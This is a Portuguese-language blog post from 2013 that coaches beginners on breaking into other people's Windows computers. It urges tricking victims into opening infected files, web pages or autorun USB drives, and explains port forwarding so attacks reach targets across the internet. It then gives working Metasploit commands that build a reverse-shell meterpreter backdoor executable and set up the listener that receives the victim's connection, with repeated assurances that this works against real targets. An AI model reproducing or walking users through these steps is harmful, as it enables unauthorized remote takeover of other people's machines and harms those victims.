sábado, 25 de maio de 2013

Olá pessoal!

Como vejo muitas pessoas com essas dúvidas simples venho com este post para resolver todas ou pelo menos boa parte delas. Muitas pessoas veem tutoriais, tools e scripts para fazer após invadir uma máquina com Windows, mas o que a maior parte delas é como invadir um windows. Como estou pensando em fazer vários posts com ferramentas para pós exploração primeiro tenho que sanar as dúvidas mais básicas. Então vamos a elas:

Como eu invado um Windows?

A cada dia que passa está cada vez mais difícil de conseguir um exploit que libere de cara acesso remoto, quem já usou o clássico net_api sabe do que me refiro, roda o exploit e já cai direto na shell do alvo. Hoje em dia, para você conseguir realmente invadir alguém você vai ter que primeiro descobrir o que a vítima tem instalado, que é a porta mais fácil para uma invasão bem sucedida. Temos exploits para Java (muitos), Adobe Reader, Word, Excel, Foxit Reader, entre outros. O que você pode fazer é convencer a vítima a baixar um arquivo infectado e com isso tomar o controle da máquina, este processo é conhecido como conexão reversa, porque no caso é o alvo que se conecta a você e não você diretamente no alvo. Isso é útil para caso o alvo tenha um firewall que impede que você chegue até a máquina, mas provavelmente ele não vai impedir que ele chegue até você.

Outro método muito utilizado é uma página infectada com algo malicioso que assim que a pessoa acessa o browser dispara uma instrução para algum programa que acessa a falha, libera o exploit e da a você o controle. Tem também outros métodos, como por exemplo um pendrive com um payload no autorun, assim que conectado infecta a máquina.

Mas a real é, de algum modo ou outro, você vai ter que convencer a vítima a fazer algo, acessar algo ou clicar em algo.

Mas e se a vítima não estiver na mesma rede que eu?

Todos os tutoriais disponíveis na internet, com algumas exceções, mostram os testes em ambientes controlados, normalmente em máquinas virtuais em uma mesma rede fechada. Isso facilita bastante se você tiver essa possibilidade, mas se não tiver não tem problema, nada impede que você mande um PDF infectado para alguém do outro lado do mundo e assim que ela clicar você tomar o controle da máquina, só tem algumas coisas a mais que você tem que cuidar, como por exemplo, ter um ip externo fixo, ter no seu roteador um redirecionador de portas para mandar a requisição que chegar na porta do roteador para a porta da sua máquina que já vai estar esperando a conexão reversa. Estou montando já um post sobre isso, aguarde...

Fiz exatamente igual ao tutorial e não funcionou, o que eu fiz de errado?

Talvez nada! Sim, pode ser que mesmo fazendo tudo certo como mostra o tutorial seu ataque não seja bem sucedido. Tem muitos fatores que podem influenciar o resultado de um ataque, como por exemplo, a versão do sistema do alvo, o idioma do sistema do alvo, a versão do programa vulnerável, compartilhamento ativado/desativado, firewall ativado/desativado, e muitas outras coisas.

Se seu ataque deu errado não desista, tente novamente com outro exploit. Métodos e falhas é o que mais tem por ai, não é difícil achar uma que dê certo para você.




Acho que essas são as dúvidas mais básicas, assim que eu for lembrando de mais eu vou colocando aqui. Então vamos a prática que mostrar é mais fácil do que descrever. A cada post vou mostrar um método diferente de obter acesso a uma máquina Windows, caso não esteja conseguindo ou alguma outra dúvida surgir não hesite em me contatar no email.

Vamos então ao método mais simples de infecção. Vou gerar um arquivo .exe malicioso e enviar para a  vítima, para facilitar vou fazer em meu lab, mas não esqueça, isso funciona em uma situação real.

Primeiramente vamos usar o comando msfpayload, uma ferramenta do framework do Metasploit para gerar apenas o payload executável para a vítima poder clicar.

O comando é super simples:

msfpayload windows/meterpreter/reverse_tcp LHOST=”seu IP” LPORT=”porta para conexão” x > /root/backdoor.exe

Não precisa utilizar necessariamente a porta 4444 eu estou usando esta porque é a padrão do Metasploit. Agora o que eu fiz foi enviar esse arquivo executável para uma máquina windows e clicar nele lá. Mas antes da vítima executar precisamos ficar esperando a conexão na máquina atacante. Para isso vamos usar o exploit handler que pode ser encontrado em exploit/multi/handler no Metasploit. Inicie o Metasploit com o comando msfconsole e digite os seguintes comandos:

use exploit/multi/handler  <-- Exploit que vai ser usado para aguardar a conexão
set payload windows/meterpreter/reverse_tcp  <-- Payload que será injetado assim que o alvo se conectar
set lhost 192.168.1.5  <-- IP do atacante
set lport 4444 <-- Porta setada no payload que foi enviado para a vítima, se colocar uma porta diferente aqui nunca chegará a conexão
exploit  <-- Rodar o exploit


Tudo pronto! Se chegamos até aqui é porque deu tudo certo, handler iniciado e aguardando a conexão. Agora sim a vítima pode clicar no executável: 


Assim que a vítima clicar você verá no terminal algo parecido com isto:


E com isso conseguimos o acesso ao alvo! Como pode ver estamos com a shell do meterpreter. O meterpreter é um lançador de comandos, como se fosse a shell. É o que vai interagir entre as duas máquinas. Vamos rodar alguns comandos interessantes aqui para termos certeza de que estamos de fato na máquina da vitima. Na imagem abaixo eu rodei o comando sysinfo do meterpreter para obter infomações da máquina que estou conectado e o comando shell para receber a shell do alvo. Na shell do alvo usei o comando dir para listar os diretórios da pasta atual.


E por em quanto é isso! No próximo post vou dificultar um pouco mais e colocar alguns conceitos mais aprofundados.

Bons estudos!

Um comentário:

Subscribe to RSS Feed Follow me on Twitter!